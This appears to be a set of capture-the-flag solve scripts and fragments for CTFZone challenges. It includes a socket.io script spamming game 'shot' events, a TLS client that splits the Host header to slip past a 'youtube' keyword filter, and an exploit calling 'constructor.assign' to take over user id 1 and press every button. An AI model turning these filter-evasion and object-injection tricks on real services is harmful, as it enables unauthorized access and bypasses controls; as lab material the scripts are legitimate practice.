import socketio
import requests

sio = socketio.Client()
session = requests.Session()

IP = 'breathtaking-roulette.ctfz.zone'

@sio.on('shot_result')
def on_message(data):
    print(f'I received a message!{data}')

def start():
    id = session.post(f'http://{IP}/api/start')
    return session.cookies.get_dict()['session'],id.json()['room']

def get_messages(chat_uuid: str):
    try:
        sio.connect(f'http://{IP}', socketio_path='/api/socket.io')
        sio.emit('join_game', {'room': chat_uuid})
        
        for i in range(30):
            sio.emit('shot')
        sio.sleep(10) 
    except requests.exceptions.JSONDecodeError as e:
        print("JSON Decode Error:", e)
    except Exception as e:
        print("An error occurred:", e)
    finally:
        sio.disconnect()


cook, chat_id = start()
get_messages(chat_id)

                buf=sock.recv(BUFFER_SIZE)
                print(str(buf))
                if b'youtube' in buf:
                    print('BAN!!!')
                    continue

    upstream backend_default {
        server 127.0.0.1:4431;
    }

    upstream backend {
        server 127.0.0.1:4432;
    }

import socket
import ssl

ciphers = 'ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES256-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:RSA-PSK-AES256-GCM-SHA384:DHE-PSK-AES256-GCM-SHA384:RSA-PSK-CHACHA20-POLY1305:DHE-PSK-CHACHA20-POLY1305:ECDHE-PSK-CHACHA20-POLY1305:AES256-GCM-SHA384:PSK-AES256-GCM-SHA384:PSK-CHACHA20-POLY1305:RSA-PSK-AES128-GCM-SHA256:DHE-PSK-AES128-GCM-SHA256:AES128-GCM-SHA256:PSK-AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:ECDHE-PSK-AES256-CBC-SHA384:ECDHE-PSK-AES256-CBC-SHA:SRP-RSA-AES-256-CBC-SHA:SRP-AES-256-CBC-SHA:RSA-PSK-AES256-CBC-SHA384:DHE-PSK-AES256-CBC-SHA384:RSA-PSK-AES256-CBC-SHA:DHE-PSK-AES256-CBC-SHA:AES256-SHA:PSK-AES256-CBC-SHA384:PSK-AES256-CBC-SHA:ECDHE-PSK-AES128-CBC-SHA256:ECDHE-PSK-AES128-CBC-SHA:SRP-RSA-AES-128-CBC-SHA:SRP-AES-128-CBC-SHA:RSA-PSK-AES128-CBC-SHA256:DHE-PSK-AES128-CBC-SHA256:RSA-PSK-AES128-CBC-SHA:DHE-PSK-AES128-CBC-SHA:AES128-SHA:PSK-AES128-CBC-SHA256:PSK-AES128-CBC-SHA'
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_ciphers(ciphers)

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('51.250.36.205', 443))


clientSSL1=ctx.wrap_socket(client, server_hostname='youtube.com')


clientSSL1.send("GET / HTTP/1.1\r\n".encode())
clientSSL1.send("Host: ".encode())
clientSSL1.send("you".encode())
clientSSL1.send("tube.com\r\n".encode())
clientSSL1.send("User-Agent: curl\r\n\r\n".encode())

print(clientSSL1.recv(1024).decode())
clientSSL1.close()

let Namespaces = {};
...
function requireModules() {
  var modules = [
    'user',
    'button',
    'room'
  ];

  modules.forEach(function (module) {
    Namespaces[module] = require('./' + module);
  });
}

import socketio
import asyncio
import httpx
import random
import string


# BASE_URL = "http://localhost:3000"
BASE_URL = "http://funny-buttons.ctfz.zone"


def button_id():
    return random.randint(1, 25)


def random_string(length: int = 32):
    return "".join(random.choice(string.ascii_lowercase) for _ in range(length))


async def main():
    async with httpx.AsyncClient() as client:
        user = random_string(8)
        password = random_string(8)
        rsp = await client.post(
            f"{BASE_URL}/register",
            data={"name": user, "password": password},
            follow_redirects=True
        )
        assert rsp.status_code == 200
        rsp = await client.post(
            f"{BASE_URL}/login",
            data={"name": user, "password": password},
        )
        print(client.cookies)

    async with socketio.AsyncSimpleClient() as sio:
        await sio.connect(
            f'{BASE_URL}',
            headers={
                "Cookie": f"connect.sid={client.cookies['connect.sid']}",
            },
        )

        async def communicate(msg: str, data, receive_response: bool = True):
            print(f'Sending {msg} with {data = }')
            await sio.emit(msg, data)
            if receive_response:
                method, resp = await sio.receive()
                print(f'Received response for {method}: {resp}')
                return resp
            return None

        await communicate("constructor.assign", {"uid": 1}, False)
        await communicate("user.getInfo", {})
        for uid in range(1,25):
            resp = {'pressed': False}
            while not resp['pressed']:
                resp = await communicate("button.press", {"id": uid})
            await communicate("button.get", {"id": uid})


if __name__ == '__main__':
    asyncio.run(main())